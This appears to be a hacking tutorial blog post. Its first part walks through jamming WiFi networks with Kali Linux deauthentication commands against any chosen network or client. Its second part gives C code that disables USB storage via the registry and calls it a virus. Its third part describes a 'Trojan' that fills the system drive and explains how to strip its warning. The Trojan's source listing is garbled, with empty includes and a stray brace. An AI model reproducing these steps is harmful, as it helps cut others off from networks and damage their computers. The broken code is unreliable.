Creating A WiFi Jammer With Kali Linux

Step:1) First of all you need to check the information of  connected wlan so open your kali linux terminal windows and enter this command iwconfig and hit enter button or you can execute this command airmon-ng and you will see all the details like driver,interface,chipset etc of your wlan ,in my case interface is wlan0. check your’s

Step:2) So now you need to on the monitor mode so simply execute this command airmon-ng start wlan0 ,when you execute this command you will see the changed interface name of wlan0 to wlan0mon(Remember this new name,In next step you need to put this new name in further command)

Step:3) Now you need to monitor the wife which is detected near by you.So for this give this command airodump-ng wlanomon and press enter button.you will get the list of all active wifi connection,and also get the details of all connected devices with that particular wifi network.For example in my case there are 3 wifi network available here and all the three wifi has 5-5 active connection or devices.You will get detail like bssid,channel,pwr,ENC,ESSId etc of every wifi.

Step:4) Now choose the wifi network which you want to jam for others,So simply see the mac address and channel no. of any wifi router and execude this below given command

airodump-ng c 11 –bssid cb:03:23:se4:45:AD wlan0mon

Note1: Write your channel no. instead of my which is 11 and also replace the mac address with your wifi router mac address and also write your new interface name which is in my case wlan0mon.

Note2: One space after 11  and one space after bssid and one space after mac address in above give command.

Step:5) After executing above command ,your system just only monitor one wif network.Now you will see the all device connected with that particular wifi.

Step:6) Now the time come to disconnet all the devices from wifi so simply execute this command airplay-ng -0 0 -a cb:03:23:se4:45:AD(write the bssid of wifi) wlan0mon 

Step:7) Now you will see all the devices connected with this wifi network automaticaly disconnected from it till you stop it.

Note: If you want to disconnect any particular device from wifi then read next steps

Disconnect A Single Client

Step:8) Again give the same command which you give in step 4 which is airodump-ng c 11 –bssid cb:03:23:se4:45:AD wlan0mon

Step:9) Now note the mac address of that particular connected device and give this command airplay-ng -0 0 -a cb:03:23:se4:45:AD(write the bssid of wifi) -c [copied mac address of the device] wlan0mon

Step:10) Now in the end you can disable the monitor mode by executing this command airmon-ng stop wlan0mon.

That’s it guys ,in this way you can disconnect all the device or any particular device from any particular wifi network.If you have any doubt in any steps please read the whole process twise.if you like this post please share it with your friends or social media like facebook.

Now start today’s post which is overall how we can make virus using c source code follow below step by step procedure .

How To Disables USBPorts

Step:1) first of all you need the .c source code simply open notepad and copy below code as it is  and past it in notepad and save it with the name disable_usb.c (remember .c extension must include) 

#include

void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f”);
} 

Step:2) when you make disable_usb.cfile you need to compile it, if you don’t know how to compile then read my previous article step by step guidence to compile any c program .
 

Step:3) Now friends i assuming that Upon compilation of disable_usb.c you get disable_usb.exe

How To Make Trojan Horse Virus Using C Or C++

For your clear understanding i posted this article sequence wise like what is the work of this Trojan and how this Trojan work and the main thing the algorithm of the source code lets we discuss one by one in next lines.

TheAlgorithm Of The Trojan Is As Follows:

1. Search for the root drive.
2. Navigate to%systemroot%\Windows\System32 on the root drive.
3. Create the file named “spceshot.dll“.
4. Start dumping the junk data onto the above file and keep increasing its size until the drive is full.
5. Once the drive is full, stop the process.

Step By Step Process ToMake Trojan Horse

Step:1) First of all open any text editor i am going to use simple notepad and copy below full code as it is and past it in notepad and save it with the name spaceEater.c ( don’t forget to include .c extension)

#include
#include
#include
#include

} 

Step:2) After that making spaceEater.c you need to compile it if you don’t know how to compile any c program then read my previos article how to compile and execute c/c++ program 
  
Step:3) I assuming that you compilespaceEater.c file and make it likespaceEater.exe  

Step:4) Now time come To test the Trojan, just run the SpaceEater.exe file on your computer as administrator mode . It will generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up the hard disk space.

NOTE: I have purposefully added this warning screen to avoid script kiddies from misusing it. However you can edit the source code and then recompile it to remove the warning.

How To Fix The DamageAnd Free Up The Space?

If you run this Trojan on your own PC then you see your full c drive fill with junks file ,now learn here how to fix the damage and free up the space.To remove the damage and free up the space, just type the following in the “run” dialog box and hit okay .

%systemroot%\system32

Now you need to search for the file “spceshot.dll“. Just delete it and you’re done.
